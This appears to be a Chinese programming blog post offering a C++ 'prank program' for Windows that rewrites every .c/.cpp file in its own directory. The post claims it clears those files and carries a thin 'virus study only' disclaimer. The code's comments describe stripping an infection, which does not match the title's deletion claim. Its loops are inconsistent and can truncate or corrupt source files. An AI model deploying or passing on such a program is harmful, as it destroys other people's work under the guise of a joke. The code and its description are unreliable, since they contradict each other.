c++整人小程序-清除所有与它在同一目录下的c、cpp文件

 本程序会删除清除所有与它在同一目录下的c、cpp文件。使用前请对这些文件做好备份

#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
void revir()
{
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);

	string FileCode[500];

	//病毒函数调用应当插在"main"后面的第一个"{"后面
	//在C++中main有int main(),int main(int arg,char **r)等形式
	//依次清除宿主文件
	while (true)
	{
   		//加载文件
   		int FileLen = 0; //宿主代码长度
   		int MainLoc = 0; //主函数位置

   		ifstream ibe(FindFileData.cFileName);
   		getline(ibe,FileCode[0]);


    	//病毒代码要过虑掉
    	for(FileLen = 0;getline(ibe,FileCode[0]);)
    	{
     		if(FileCode[FileLen] == "//END")
     		{
      			break;
     		}
    	}
    	//宿主未感染前的代码
    	for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    	{
     		if(FileCode[FileLen].find("main") != -1)
     		{
      			MainLoc = FileLen;
     		}
    	}

    	//清除主文件中的函数调用
    	for(int i = MainLoc;i < FileLen;i++)
    	{
     		if(FileCode[i].find('{') != -1)
     		{
      			FileCode[i + 1] = "";
      			break;
     		}
    	}
    	ibe.close();

    	ofstream be(FindFileData.cFileName);
    	for(int i = 0;i < FileLen;i++)
    	{
     		be<<FileCode[i]<<endl;
    	}
    	be.close();
    	cout<<FindFileData.cFileName<<":清除成功"<<endl;

   		if (FindNextFile(hFind, &FindFileData) == false) break;
	}
}
int main()
{
	revir();
	return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值